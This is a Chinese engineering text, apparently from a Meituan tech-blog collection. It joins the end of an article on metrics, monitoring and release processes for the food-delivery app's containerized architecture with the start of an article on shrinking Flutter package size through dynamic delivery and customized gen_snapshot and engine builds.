如何实现动态化的。把页面与页面的模块分离，也符合目前外卖客户端的组织结构，

有利于业务组间的协作。同时，页面容器化使得外卖核心页面具备了符合外卖业务场

景下的动态能力，渐进式把 Native 静态模块过渡到具备动态能力的模块，从模块的

维度使整个页面具备了动态能力。这种渐进式的迁移方案把容器迁移跟业务模块的迁

移分隔开，大大降低了页面容器化改造的风险。

5. 外卖容器化架构的衡量指标

5.1	容器化架构衡量指标的特点

质量和性能指标是衡量我们 App 开发质量和用户体验的重要依据，是我们一直都非

常关注的重点数据。在非容器化时代，我们大多数的指标都和 App 的使用环节紧密

相关，因为在非容器化时代，逻辑链路相对简单，例如我们打开一个新页面时，我们

首先创建页面实例，然后发起网络请求，同时页面会经历一系列生命周期方法，最后

渲染。这时我们可能会关注网络请求的成功率和请求时间，页面的渲染时间，和过成

功是否发生 Crash，这个过程相对更短暂，指标更少，所以监控起来也更容易。

外卖的容器化大大提升了外卖业务的复用能力、动态能力、模块化和开发效率，但同

时也带来了更长的逻辑链路，链路从时间维度上划分是：下载链路、加载链路、使用

链路。例如我们在使用 MRN 容器的时候，会涉及到 bundle 的启动下载或预热下载，
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bundle 解压缩，MRN 容器引擎初始化，bundle 加载，JS 的加载、执行，页面渲染

等步骤，其中的每个步骤都可能存在性能问题和质量风险。因此，我们需要升级我们

的衡量指标系统来应对容器化带来的新的挑战。

5.2	链路指标

 ● 下载链路：在下载链路中下载容器所需的各种资源，在 MRN 和 Mach 中主要

是 bundle 的下载任务，只有 bundle 下载成功，才能进行后面的各项操作。

所以 bundle 下载的成功率是下载链路中最重要的指标，同时 bundle 下载的

时机也很重要。外卖业务中有各种 bundel 上百个，如果在启动时拉取所有

bundle，对冷启动时间会造成极大的影响。我们采用了 bundle 预热的方法，

发布 bundle 是给 bundle 打上相应的 Tag，在适当的时机去下载，避免集中

下载。

 ● 加载链路：在加载链路中重要工作是对下载链路中下载的资源的解压和解析。

例如在用 PGA 加载页面时，会进行模块的解析、模块匹配、模块降级、数据

模型生成等步骤。在 MRN 中会进行 bundle 解压、引擎初始化、bundle 加载

等步骤。加载链路往往是比较消耗计算资源的步骤，对页面打开和加载时间影
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响较大，所以我们会比较关注加载链路的性能指标。

 ● 使用链路：使用链路和非容器化的使用阶段基本相同，会主要关注页面的加载

时间、Crash 率、页面页面 FPS、页面卡顿等指标。除此之外，还会关注和

容器本身特性相关的一些指标，例如在 MRN 容器中，我们还会关注 JS 错误

率、JS 渲染时间、白屏率等指标。

5.3	关键指标

因为容器化的使用形成了一个串行的链路，所以如果某个关键节点失败，会导致容器

功能不可使用，关键指标的任务就是从上述众多的指标当中筛选出这些关键节点。例

如在下载链路中 bundle 下载的成功率和 API 的成功率，加载链路中 bundle 加载的

成功率和模块匹配的成功率，下载或加载失败都无法再进行链路中的后续步骤，针对

上面的成功率指标，我们会添加分钟级别的实时监控告警，做到及时发现，快速响应

和紧急修复。

在使用链路中模块渲染的成功率、Native Crash 率、JS 错误率也属于关键指标，这些任

务的失败也会导致容器的不可用，针对这些指标我们也会采用实时监控措施，并且添加

降级手段，例如回滚 bundle 版本，或者把 MRN 和 Mach 容器降级为 Native 容器。

6. 外卖容器化架构的监控运维

上面讲到了容器化架构的各项衡量指标，那么把这些指标具体落到实处的工作就是线

上的运维监控工作。工欲善其事，必先利其器，对于监控运维工作，一定要有合适的

监控工具辅助配合才能事半功倍，公司内有很多优秀的监控统计工具可供使用，这里

的难点就是如何根据监控的需要判断选择合适的工具。还有就是合理的划分监控维度

和数据指标的优先级，例如对于能够影响到链路稳定性的关键指标，我们需要做到分

钟级的监控，一旦出现问题就能及时收到告警，对于非关键指标，则通过生成日报的

方式，方便开发者的统计和分析。

工具的使用上主要分为大盘工具、具体异常工具、灰度降级工具、告警工具等（以下

是美团内部使用的工具）。
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 ● 大盘工具：主要使用 CAT、天网、Crash 平台等工具。这些工具收集、统计

大盘数据，然后生成可视化的图标和曲线。方便开发者了解大盘的整体情况和

变化趋势。

 ● 具体异常工具：使用 Sniffer、Logan 等工具。这些工具可以用来获取发生异

常时的上下文和设备信息，回捞用户行为日志，方便定位排查具体问题。

 ● 灰度降级工具：使用 ABTest 平台、Horn 等工具。用于下发配置，以进行灰

度控制或开关控制。

 ● 告警工具：告警小助手。将告警通过 IM 软件及时发送到个人或群组，做到及

时发现及时处理。

 ● 业务覆盖维度监控可以分为全局监控和局部（单业务）监控。

 ● 全局监控：监控各项容器化质量指标、性能指标，生成每日报表，方便跟踪监

控容器化的整体质量。

 ● 局部（单业务）监控：实时监控每个页面、每个容器的线上数据，做到有问题及

时发现，及时定位，及时处理。

 ● 时间维度监控：可以按天、小时、分钟的时间维度。天级别的监控主要是一些

非关键路径指标，例如一些性能指标，页面加载时间、页面 FPS、JS 渲染时

间等，我们可以按天维度的生成数据报表，已邮件的数据发送日报。当 App

灰度上线时，我们会开始小时级别的监控，每过半小时通过 IM 软件向广播一

些关键指标，方便开发者跟踪线上数据的稳定性。分钟级别的监控则是针对关

键指标，观察分钟维度上的变化，如果关键指标超过阈值，或者波动过大，就

会及时产生告警。

下面我们以一个开发者的视角去看一下外卖容器化架构的监控运维系统。从获取信息

的方式上可以分为主动查询和被动推送，开发者可以通过监控工具监控全局和局部数

据的变化趋势，也可以分析具体异常 Case；也可以从 IM 工具，邮件等收到相关的

推送数据，以便及时响应。在控制运维上，开发者可以通过 Eva、Horn 等美团内部

的灰度系统进行灰度发布，当灰度期发现问题的时候，可以及时地通过停止灰度，版
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本回滚，关闭入口的方式进行降级容灾处理。

7. 外卖容器化架构的发布能力

7.1	容器化架构发布体系

容器化使外卖业务具备了强大的动态化能力，但动态化能力又和需要相应的发布能力

来支持，发布能力是我们业务开发质量和效率的重要保障，也是我们容器化建设工作

过程中的重点环节，这一节主要介绍一下外卖容器化的发布能力。

从发布能力类型的角度看主要可以分为三种类型：（1）容器内容的发布，包括发布整

个页面或者发布页面中的局部模块；（2）配置下发，通过 API 或其他配置平台，下发

布局协议、AB 测试、样式配置、功能配置、模板配置、容器配置等，大大提高了业

务的灵活度和线上验证能力；（3）灰度、降级下发，通过 UUID，用户画像等信息做

到灰度发布，降级回滚等控制能力。

从发布资源的的角度看主要分为两种：一种是普通的资源，例如发布一个 Web 页面，

或者通过发布新版 API 来控制页面局部容器的展示与否和展示的位置，同时我们也可

以进行一些 AB Test 操作；另一种是 bundle 资源，主要是针对 MRN 容器和 Mach

容器，每个 MRN 容器和 Mach 容器的资源都会先被打包成一个 bundle，然后通过

发布系统下发到终端，然后终端解析 bundle 中的代码和资源，最终渲染页面。
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从发布阶段的角度看，可以分为测试阶段、上线阶段、灰度阶段和全量阶段，其中

上线阶段是最终的环节，我们增加了很多校验和保护手段来尽量保证上线操作的正

确性。

7.2	跟版本发布流程

虽然我们具随时备动态发布能力，但正常的版本迭代还是会存在中，所以外卖这边的

节奏是周动态迭代 + 双周版本迭代，这保证了我们的开发工作有个一清晰的周期。在

动态发布阶段中最关键的阶段操作上线阶段。以 MRN 为例，目前外卖业务中应有

70 多个 bundle，再算上测试环境的 bundle 就有接近 150 个 bundle，只是管理这

些 bundle 就是一个复杂的工作，况且在进行上线操作时还是涉及发布的目标 App、

App 版本的上下界、MRN 版本的上下界等，一不小心就会造成操作失误，所以进行

上线操作时需要非常谨慎。

我们针对操作上线阶段进行了事务流水线，通过流水线建立保护措施，一个 bundle

的上线要经历一个流水线的若干操作。首先，操作人根据上线 SOP 手册进行若干检

查操作，同时编写标准格式的发布说明，然后周知相关核心人员后在操作系统上发起

上线申请，Leader 和 QA 收到申请后会进行检查并审批，审批通过后还要避开 App

使用的高峰期或节假日上线，上线后通过灰度发布观察各项数据指标，指标正常后全

量发布。

7.3	bundle 资源发布

bundle 是我们最常发布的资源类型，这里再结合发布工具讲解一下 bundle 的发布

过程。MRN 和 Mach 都是以 bundle 的形式下发到设备终端的，我们在发布 bundle

的时候主要会用到两个工具，打包工具 Talos 和发布工具 Eva（美团内部工具）。一
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个 bundle 的工程文件主要由三个部分组成：配置文件、源代码和资源文件，其中配

置文件用于指导 Talos 对工程文件进行打包，多个 bundle 可以共享一份配置文件。

当我们准备发布一个 bundle 时，先找到该 bundle 在 Talos 的发布模板，选择发布

环境（测试或线上），然后进行一键打包，然后 Talos 会进行一系列流水线操作，包

括 Clone 代码、配置环境、进行 Lint 检查、构建和上传等。Talos 打包完毕后将

bundle 上传到 Eva 系统，然后 Eva 负责 bundle 的分包、上线、下线、灰度等操

作，最终下发到终端设备上。

未来，我们还将引入美团住宿的 MRN-DevOps 来进一步的屏蔽当前多系统的问题，

降低整个周期管理的成本，特别是发布前的人工检查成本，逐渐实现 RD 在一个平台

上操作从研发到发布运维的所有实现。尽可能地减少人工成本，提升自动化。

7.4	多种发布能力综合使用

上面介绍的是以 bundle 资源形式的发布流程，过程较为清晰简单。下面再结合外

卖首页，介绍一下局部容器化的发布方式。外卖首页是典型的流式列表，在局部容

器化的架构下，首页就是由一个个矩形容器以 ListView 方式布局的，容器分两种，

Native 容器和 Mach 容器，Mach 容器是一个通用容器，我们可以编写不同的样式

模板，下发到终端后交由通用 Mach 容器来渲染，以此达到只使用通用容器展示不同

UI 样式的目的，这里涉及了 Mach 的发布系统。

首页各子容器相当于一块块积木，它们的位置排布、展示与否、模板的选择等最终

交由 API 控制，API 具备了控制首页布局，样式展示的能力，而不再是单纯的数据

源。同时，首页也涉及了 AB 能力、灰度降级策略等其实配置项下发系统。可以看

到外卖首页的容器化是由多种发布能力配合支撑的，是外卖发布能力体系的“集大

成者”。
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8. 总结

好的架构是要随着业务的发展，不断演变去适应业务的发展。美团外卖从一个很小规

模，每日单量只有几千的业务，逐渐地走到今天，每日单量峰值超过 4000 万，组织

架构也从一个十几个人的团队，逐渐发展到现在多角色、多垂直业务方向，上千人共

同协作的团队。移动端上的架构，为了适应业务的发展要求，也经历了组件化、平台

化、RN 混合化，再到现在向容器化的变迁。

容器化架构相对于传统的移动端架构而言，充分地利用了现在的跨端技术，将动态化

的能力最大化的赋予业务。通过动态化，带来业务迭代周期缩短、编译的加速、开发

效率的提升等好处。同时，也解决了我们面临着的多端复用、平台能力、平台支撑、

单页面多业务团队、业务动态诉求强等业务问题。

当然，容器化架构带来好处的同时，对线上的可用性、容器的可用性、支撑业务的线

上发布上提出了更加严格的要求。我们通过监控下载、加载、使用链路上的可用性，

来保障线上动态业务的可用性。针对容器，我们利用成熟的测试基建，建设容器的自

动化测试来保障容器的可用性。针对发布，我们建设迭代流程，配合发布流水线，将

线上的发布变得更为可控。

截止到目前为止，外卖业务经过了几十个动态化业务上线窗口，累积共发版百次以

上。未来半年，我们还将进一步从业务需求入手，将业务需求细分归类，让产品侧逐

渐建立容器和动态化需求的概念，能够从源头上，逐渐的将业务进行划分，最终使得

每个业务需求，都可以归类抽象成可以动态下发的业务和容器能力建设，从而进一步

的完善容器化架构的能力和支持更多的的业务场景。
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Flutter 包大小治理上的探索与实践

作者：艳东　宗文　会超

一、背景

Flutter 作为一种全新的响应式、跨平台、高性能的移动开发框架，在性能、稳定性和

多端体验一致上都有着较好的表现，自开源以来，已经受到越来越多开发者的喜爱。

随着 Flutter 框架的不断发展和完善，业内越来越多的团队开始尝试并落地 Flutter 技

术。不过在实践过程中我们发现，Flutter 的接入会给现有的应用带来比较明显的包

体积增加。不论是在 Android 还是在 iOS 平台上，仅仅是接入一个 Flutter Demo

页面，包体积至少要增加 5M，这对于那些包大小敏感的应用来说其实是很难接受的。

对于包大小问题，Flutter 官方也在持续跟进优化：

 ● Flutter V1.2 开始支持 Android App Bundles，支持 Dynamic Module 下发。

 ● Flutter V1.12 优化了 2.6% Android 平台 Hello World App 大小（3.8M -> 

3.7M）。

 ● Flutter V1.17 通过优化 Dart PC Offset 存储以减少 StackMap 大小等多个

手段，再次优化了产物大小，实现 18.5% 的缩减。

 ● Flutter V1.20 通过 Icon font tree shaking 移除未用到的 icon fonts，进一步

优化了应用大小。

除了 Flutter SDK 内部或 Dart 实现的优化，我们是否还有进一步优化的空间呢？答案

是肯定的。为了帮助业务方更好的接入和落地 Flutter 技术，MTFlutter 团队对 Flutter

的包大小问题进行了调研和实践，设计并实现了一套基于动态下发的包大小优化方案，

瘦身效果也非常可观。这里分享给大家，希望对大家能有所帮助或者启发。

https://developers.googleblog.com/2019/02/launching-flutter-12-at-mobile-world.html
https://medium.com/flutter/announcing-flutter-1-12-what-a-year-22c256ba525d
https://github.com/dart-lang/sdk/commit/a2bb7301c5795e6b28089a8dc96e6ab5ca798e22
https://medium.com/flutter/announcing-flutter-1-17-4182d8af7f8e
https://github.com/flutter/flutter/pull/49737
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二、Flutter 包大小问题分析

在 Flutter 官方的优化文档中，提到了减少应用尺寸的方法：在 V1.16.2 及以上使

用—split-debug-info 选项（可以分离出 debug info）；移除无用资源，减少从库中

带入的资源，控制适配的屏幕尺寸，压缩图片文件。这些措施比较直接并容易理解，

但为了探索进一步瘦身空间并让大家更好的理解技术方案，我们先从了解 Flutter 的

产物构成开始，然后再一步步分析有哪些可行的方案。

2.1	Flutter 产物介绍

我们首先以官方的 Demo 为例，介绍一下 Flutter 的产物构成及各部分占比。不同

Flutter 版本以及打包模式下，产物有所不同，本文均以 Flutter 1.9 Release 模式下

的产物为准。

2.1.1	iOS侧 Flutter 产物

图 1　Flutter iOS 产物组成示意图

iOS 侧的 Flutter 产物主要由四部分组成（info.plist 比较小，对包体积的影响可忽略，

这里不作为重点介绍），表格 1 中列出了各部分的详细信息。
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表 1　Flutter 产物组成

2.1.2	Android 侧 Flutter 产物

图 2　Flutter Android 产物组成示意图

Android 侧的 Flutter 产物总共 5.16MB，由四部分组成，表格 2 中列出了各部分的

详细信息。
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表 2　Flutter Android 产物组成

2.1.3	各部分产物的变化趋势

无论是 Android 还是 iOS，Flutter 的产物大体可以分为三部分：

1. Flutter 引擎，该部分大小固定不变，但初始占比较高。

2. Flutter 业务与框架，该部分大小随着 Flutter 业务代码的增多而逐渐增加。它

是这样的一个曲线：初始增长速度极快，随着代码增多，增长速度逐渐减缓，

最终趋近线性增长。原因是 Flutter 有一个 Tree Shaking 机制，从 Main 方

法开始，逐级引用，最终没有被引用的代码，比如类和函数都会被裁剪掉。

一开始引入 Flutter 之后随便写一个业务，就会大量用到 Flutter/Dart SDK

代码，这样初期 Flutter 包体积极速增加，但是过了一个临界点，用户包体积

的增加就基本取决于 Flutter 业务代码增量，不会增长得太快。

3. Flutter 资源，该部分初始占比较小，后期增长主要取决于用到的本地图片资

源的多少，增长趋势与资源多少成正比。

下图 3 展示了 Flutter 各资源变化的趋势：
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图 3　Flutter 各资源大小变化的趋势图

2.2	不同优化思路分析

上面我们对 Flutter 产物进行了分析，接下来看一下官方提供的优化思路如何应用于

Flutter 产物，以及对应的困难与收益如何。

1. 删减法

Flutter 引擎中包括了 Dart、skia、boringssl、icu、libpng 等多个模块，其中 Dart

和 skia 是必须的，其他模块如果用不到倒是可以考虑裁掉，能够带来几百 k 的瘦身

收益。业务方可以根据业务诉求自定义裁剪。

Flutter 业务产物，因为 Flutter 的 Tree Shaking 机制，该部分产物从代码的角度已

经是精简过的，要想继续精简只能从业务的角度去分析。

Flutter 资源中占比较多的一般是图片，对于图片可以根据业务场景，适当降低图片

分辨率，或者考虑替换为网络图片。
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2. 压缩法

因为无论是 Android 还是 iOS，安装包本身已经是压缩包了，对 Flutter 产物再次压

缩的收益很低，所以该方法并不适用。

3. 动态下发

对于静态资源，理论上是 Android 和 iOS 都可以做到动态下发。而对于代码逻辑部

分的编译产物，在 Android 平台支持可执行产物的动态加载，iOS 平台则不允许执行

动态下发的机器指令。

经过上面的分析可以发现，除了删减、压缩，对所有业务适用、可行且收益明显的进

一步优化空间重点在于动态下发了。能够动态下发的部分越多，包大小的收益越大。

因此我们决定从动态下发入手来设计一套 Flutter 包大小优化方案。

三、基于动态下发的 Flutter 包大小优化方案

我们在 Android 和 iOS 上实现的包大小优化方案有所不同，区别在于 Android 侧可

以做到 so 和 Flutter 资源的全部动态下发，而 iOS 侧由于系统限制无法动态下发可

执行产物，所以需要对产物的组成和其加载逻辑进行分析，将其中非必须和动态链接

库一起加载的部分进行动态下发、运行时加载。

当将产物动态下发后，还需要对引擎的初始化流程做修改，这样才能保证产物的正常

加载。由于两端技术栈的不同，在很多具体实现上都采用了不同的方式，下面就分别

来介绍下两端的方案。

3.1	iOS侧方案

在 iOS 平台上，由于系统的限制无法实现在运行时加载并运行可执行文件，而在上文

产物介绍中可以看到，占比较高的 App 及 Flutter 这两个均是可执行文件，理论上是

不能进行动态下发的，实际上对于 Flutter 可执行文件我们能做的确实不多，但对于

App 这个可执行文件，其内部组成的四个模块并不是在链接时都必须存在的，可以考

虑部分移出，进而来实现包体积的缩减。
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因此，在该部分我们首先介绍 Flutter 产物的生成和加载的流程，通过对流程细节的

分析来挖掘出产物可以被拆分出动态下发的部分，然后基于实现原理来设计实现工程

化的方案。

3.1.1	实现原理简析

为了实现 App 的拆分，我们需要了解下 App.framework 是怎样生成以及各部分

资源时如何加载的。如下图 4 所示，Dart 代码会使用 gen_snapshot 工具来编译

成 .S 文件，然后通过 xcrun 工具来进行汇编和链接最终生成 App.framework。其

中 gen_snapshot 是 Dart 编译器，采用了 Tree Shaking 等技术，用于生成汇编形

式的机器代码。

图 4　App.framework 生成流程示意图

产物加载流程：

图 5　Flutter 产物加载流程图

如上图 5 所示，Flutter engine 在初始化时会从根据 FlutterDartProject 的 settings

中配置资源路径来加载可执行文件（App）、flutter_assets 等资源，具体 settings 的

相关配置如下：

// settings
{
...
  // snapshot 文件地址或内存地址
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  std::string vm_snapshot_data_path;  
  MappingCallback vm_snapshot_data;
  std::string vm_snapshot_instr_path;  
  MappingCallback vm_snapshot_instr;

  std::string isolate_snapshot_data_path;  
  MappingCallback isolate_snapshot_data;
  std::string isolate_snapshot_instr_path;  
  MappingCallback isolate_snapshot_instr;

  // library 模式下的 lib文件路径
  std::string application_library_path;
  // icudlt.dat 文件路径
  std::string icu_data_path;
  // flutter_assets 资源文件夹路径
  std::string assets_path;
  // 
...
}

以加载 vm_snapshot_data 为例，它的加载逻辑如下：

std::unique_ptr<DartSnapshotBuffer> ResolveVMData(const Settings& 
settings) {
  // 从 settings.vm_snapshot_data 中取
  if (settings.vm_snapshot_data) {
    ...
  }
  
  // 从 settings.vm_snapshot_data_path 中取
  if (settings.vm_snapshot_data_path.size() > 0) {
    ...
  }
  // 从 settings.application_library_path 中取
  if (settings.application_library_path.size() > 0) {
    ...
  }

  auto loaded_process = fml::NativeLibrary::CreateForCurrentProcess();
  // 根据 kVMDataSymbol 从 native library中加载
  return DartSnapshotBuffer::CreateWithSymbolInLibrary(
      loaded_process, DartSnapshot::kVMDataSymbol);
}

对于 iOS 来说，它默认会根据 kVMDataSymbol 来从 App 中加载对应资源，而其

实 settings 是给提供了通过 path 的方式来加载资源和 snapshot 入口，那么对于 
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flutter_assets、icudtl.dat 这些静态资源，我们完全可以将其移出托管到服务端，然

后动态下发。

而 由 于 iOS 系 统 的 限 制， 整 个 App 可 执 行 文 件 则 不 可 以 动 态 下 发， 但 在 第 二

部 分 的 介 绍 中 我 们 了 解 到， 其 实 App 是 由 kDartVmSnapshotData、kDart-

VmSnapshotInstructions、kDartIsolateSnapshotData、kDartIsolateSnap-

shotInstructions 等 四 个 部 分 组 成 的， 其 中 kDartIsolateSnapshotInstructions、

kDartVmSnapshotInstructions 为指令段，不可通过动态下发的方式来加载，而

kDartIsolateSnapshotData、kDartVmSnapshotData 为数据段，它们在加载时不

存在限制。

到这里，其实我们就可以得到 iOS 侧 Flutter 包大小的优化方案：将 flutter_assets、

icudtl.dat 等静态资源及 kDartVmSnapshotData、kDartIsolateSnapshotData 两

部分在编译时拆分出去，通过动态下发的方式来实现包大小的缩减。但此方案有个问

题，kDartVmSnapshotData、kDartIsolateSnapshotData 是在编译时就写入到

App 中了，如何实现自动化地把此部分拆分出去是一个待解决的问题。为了解决此问

题，我们需要先了解 kDartVmSnapshotData、kDartIsolateSnapshotData 的写

入时机。接下来，我们通过下图 6 来简单地介绍一下该过程：
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图 6　Flutter Data 段写入时序图

代码通过 gen_snapshot 工具来进行编译，它的入口在 gen_snapshot.cc 文件，通

过初始化、预编译等过程，最终调用 Dart_CreateAppAOTSnapshotAsAssembly

方法来写入 snapshot。因此，我们可以通过修改此流程，在写入 snapshot 时只将

instructions 写入，而将 data 重定向输入到文件，即可实现 kDartVmSnapshot-

Data、kDartIsolateSnapshotData 与 App 的分离。此部分流程示意图如下图 7

所示：
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图 7　Flutter 产物拆分流程示意图

3.1.2	工程化方案

在完成了 App 数据段与代码段分离的工作后，我们就可以将数据段及资源文件通

过动态下发、运行时加载的方式来实现包体积的缩减。由此思路衍生的 iOS 侧整体

方案的架构如下图 8 所示；其中定制编译产物阶段主要负责定制 Flutter engine 及

Flutter SDK，以便完成产物的“瘦身”工作；发布集成阶段则为产物的发布和工程

集成提供了一套标准化、自动化的解决方案；而运行阶段的使命是保证“瘦身”的资

源在 engine 启动的时候能被安全稳定地加载。

图 8　架构设计
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注：图例中 MTFlutterRoute 为 Flutter 路由容器，MWS 指的是美团云。

3.1.2.1		定制编译产物阶段

虽然我们不能把 App.framework 及 Flutter.framework 通过动态下发的方式完全拆

分出去，但可以剥离出部分非安装时必须的产物资源，通过动态下发的方式来达到

Flutter 包体积缩减的目的，因此在该阶段主要工作包括三部分。

1. 新增编译 command

在将 Flutter 包瘦身工程化时，我们必须保证现有的流程的编译规则不会被影响，需

要考虑以下两点：

 ● 增加编译“瘦身”的 Flutter 产物构建模式 , 该模式应能编译出 AOT 模式下的

瘦身产物。

 ● 不对常规的编译模式（debug、profile、release）引入影响。

对于 iOS 平台来说，AOT 模式 Flutter 产物编译的关键工作流程图如下图 9 所示。

runCommand 会将编译所需参数及环境变量封装传递给编译后端（gen_snapshot

负责此部分工作），进而完成产物的编译工作：

图 9　AOT 模式 Flutter 产物编译的关键工作流程图
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为了实现“瘦身”的工作流，工具链在图 9 的流程中新增了 buildwithoutdata 的编

译 command，该命令针对通过传递相应参数（without-data=true）给到编译后端

（gen_snapshot），为后续编译出剥离 data 段提供支撑：

if [[ $# == 0 ]]; then
  # Backwards-compatibility: if no args are provided, build.
  BuildApp
else
  case $1 in
    "build")
      BuildApp ;;
    "buildWithoutData")
      BuildAppWithoutData ;;
    "thin")
      ThinAppFrameworks ;;
    "embed")
      EmbedFlutterFrameworks ;;
  esac
fi

..addFlag('without-data',
        negatable: false,
        defaultsTo: false,
        hide: true,
  )

2. 编译后端定制

该部分主要对 gen_snapshot 工具进行定制，当 gen_snapshot 工具在接收到 Dart

层传来的“瘦身”命令时，会解析参数并执行我们定制的方法 Dart_CreateAp-

pAOTSnapshotAsAssembly，该部分主要做了两件事：

1. 定制产物编译过程，生成剥离 data 段的编译产物。

2. 重定向 data 段到文件中，以便后续进行使用。

具体到处理的细节，首先我们需要在 gen_sanpshot 的入口处理传参，并指定重定

向 data 文件的地址：

  CreateAndWritePrecompiledSnapshot() {
    ...
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    if (snapshot_kind == kAppAOTAssembly) { // 常规 release模式下产物的编译流
程
      ...
    } else if (snapshot_kind == kAppAOTAssemblyDropData) { 
      ...
      result = Dart_
CreateAppAOTSnapshotAsAssembly(StreamingWriteCallback, 
                                                   file, 
                                                   &vm_snapshot_data_
buffer,
                                                   &vm_snapshot_data_
size,
                                                   &isolate_snapshot_
data_buffer,
                                                   &isolate_snapshot_
data_size,
                                                   true); // 定制产物编译过
程，生成剥离 data段的编译产物 snapshot_assembly.S
      ...
    } else if (...) {
      ...
    }
    ...
  }

在接受到编译“瘦身”模式的命令后，将会调用定制的 FullSnapshotWriter 类来

实现 Snapshot_assembly.S 的生成，该类会将原有编译过程中 vm_snapshot_

data、isolate_snapshot_data 的写入过程改写成缓存到 buff 中，以便后续写入到

独立的文件中：

// drop_data=true, 表示后瘦身模式的编译过程
// vm_snapshot_data_buffer、isolate_snapshot_data_buffer用于保存 vm_
snapshot_data、isolate_snapshot_data以便后续写入文件
Dart_CreateAppAOTSnapshotAsAssembly(Dart_StreamingWriteCallback callback,
                                    void* callback_data, 
                                    bool drop_data,
                                    uint8_t** vm_snapshot_data_buffer,
                                    uint8_t** isolate_snapshot_data_
buffer) {
  ...
  FullSnapshotWriter writer(Snapshot::kFullAOT, &vm_snapshot_data_
buffer,
                            &isolate_snapshot_data_buffer, 
ApiReallocate,
                            &image_writer, &image_writer);
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  if (drop_data) {
    writer.WriteFullSnapshotWithoutData(); // 分离出数据段
  } else {
    writer.WriteFullSnapshot();
  }
  ...
}

当 data 段被缓存到 buffer 中后，便可以使用 gen_snapshot 提供的文件写入的方

法 WriteFile 来实现数据段以文件形式从编译产物中分离：

static void WriteFile(const char* filename, const uint8_t* buffer, 
const intptr_t size);
// 写 data到指定文件中
{
  ...
      WriteFile(vm_snapshot_data_filename, vm_snapshot_data_buffer, vm_
snapshot_data_size); // 写入 vm_snapshot_data
      WriteFile(isolate_snapshot_data_filename, isolate_snapshot_data_
buffer, isolate_snapshot_data_size); // 写入 isolate_snapshot_data
  ...
}

3.	engine 定制

编译参数修改

iOS 侧使用 -0z 参数可以获得包体积缩减的收益（大约为 700KB 左右的收益），但会

有相应的性能损耗，因此该部分作为一个可选项提供给业务方，工具链提供相应版本

的 Flutter engine 的定制。

资源加载方式定制

对于 engine 的定制，主要围绕如何“手动”引入拆分出的资源来展开，好在 engine

提供了 settings 接口让我们可以实现自定义引入文件的 path，因此我们需要做的就

是对 Flutter engine 初始化的过程进行相应改造：

/**
 * custom icudtl.dat path
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 */
@property(nonatomic, copy) NSString* icuDataPath;
 
/**
 * custom flutter_assets path
 */
@property(nonatomic, copy) NSString* assetPath;
 
/**
 * custom isolate_snapshot_data path
 */
@property(nonatomic, copy) NSString* isolateSnapshotDataPath;
 
/**
 *custom vm_snapshot_data path
 */
@property(nonatomic, copy) NSString* vmSnapshotDataPath;

在运行时“手动”配置上述路径，并结合上述参数初始化 FlutterDartProject，从而

达到 engine 启动时从配置路径加载相应资源的目的。

engine 编译自动化

在完成 engine 的定制和改造后，还需要手动编译一下 engine 源码，生成各平台、

架构、模式下的产物，并将其集成到 Flutter SDK 中，为了让引擎定制的流程标准

化、自动化，MTFlutter 工具链提供了一套 engine 自动化编译发布的工具。如流程

图 10 所示，在完成 engine 代码的自定义修改之后，工具链会根据 engine 的 patch 

code 编译出各平台、架构及不同模式下的 engine 产物，然后自动上传到美团云上，

在开发和打包时只需要通简单的命令，即可安装和使用定制后的 Flutter engine：

图 10　Flutter engine 自动化编译发布流程
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3.1.2.2		发布集成阶段

当完成 Dart 代码编译产物的定制后，我们下一步要做的就是改造 MTFlutter 工具链

现有的产物发布流程，支持打出“瘦身”模式的产物，并将瘦身模式下的产物进行合

理的组织、封装、托管以方便产物的集成。从工具链的视角来看，该部分的流程示如

下图 11 所示：

图 11　Flutter 产物发布集成流程示意图

自动化发布与版本管理

MTFlutter 工具链将“瘦身”集成到产物发布的流水线中，新增一种 thin 模式下的

产物，在 iOS 侧该产物包括 release 模式下瘦身后的 App.framework、Flutter.

framework 以及拆分出的数据、资源等文件。当开发者提交了代码并使用 Talos（美

团内部前端持续交付平台）触发 Flutter 打包时，CI 工具会自动打出瘦身的产物包及

需要运行时下载的资源包、生成产物相关信息的校验文件并自动上传到美团云上。对

于产物资源的版本管理，我们则复用了美团云提供资源管理的能力。在美团云上，产

物资源以文件目录的形式来实现各版本资源的相互隔离，同时对“瘦身”资源单独开

一个 bucket 进行单独管理，在集成产物时，集成插件只需根据当前产物 module 的

名称及版本号便可获取对应的产物。
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自动化集成

针对瘦身模式 MTFlutter 工具链对集成插件也进行了相应的改造，如下图 12 所示。我

们对 Flutter 集成插件进行了修改，在原有的产物集成模式的基础上新增一种 thin 模式，

该模式在表现形式与原有的 debug、release、profile 类似，区别在于：为了方便开发人

员调试，该模式会依据当前工程的 buildconfigration 来做相应的处理，即在 debug

模式下集成原有的 debug 产物，而在 release 模式下才集成“瘦身”产物包。

图 12　Flutter iOS 端集成插件修改
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3.1.2.3		运行阶段

运行阶段所处理的核心问题包括资源下载、缓存、解压、加载及异常监控等。一个典

型的瘦身模式下的 engine 启动的过程如图 13 所示。

该过程包括：

 ● 资源下载：读取工程配置文件，得到当前 Flutter module 的版本，并查询和下

载远程资源。

 ● 资源解压和校验：对下载资源进行完整性校验，校验完成则进行解压和本地

缓存。

 ● 启动 engine：在 engine 启动时加载下载的资源。

 ● 监控和异常处理：对整个流程可能出现的异常情况进行处理，相关数据情况进

行监控上报。

图 13　iOS 侧瘦身模式下 engine 启动流程图
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为了方便业务方的使用、减少其接入成本，MTFlutter 将该部分工作集成至 MTFlut-

terRoute 中，业务方仅需引入 MTFlutterRoute 即可将“瘦身”功能接入到项目中。

3.2	Android 侧方案

3.2.1	整体架构

在 Android 侧，我们做到了除 Java 代码外的所有 Flutter 产物都动态下发。完整的

优化方案概括来说就是：动态下发 + 自定义引擎初始化 + 自定义资源加载。方案整

体分为打包阶段和运行阶段，打包阶段会将 Flutter 产物移除并生成瘦身的 APK，运

行阶段则完成产物下载、自定义引擎初始化及资源加载。其中产物的上传和下载由

DynLoader 完成，这是由美团平台迭代工程组提供的一套 so 与 assets 的动态下发

框架，它包括编译时和运行时两部分的操作：

1. 工程配置：配置需要上传的 so 和 assets 文件。

2. App 打包时，会将配置 1 中的文件压缩上传到动态发布系统，并从 APK 中

移除。

3. App 每次启动时，向动态发布系统发起请求，请求需要下载的压缩包，然后

下载到本地并解压，如果本地已经存在了，则不进行下载。

我们在 DynLoader 的基础上，通过对 Flutter 引擎初始化及资源加载流程进行定制，

设计了整体的 Flutter 包大小优化方案：

图 14　Android 侧 Flutter 包大小优化方案整体架构
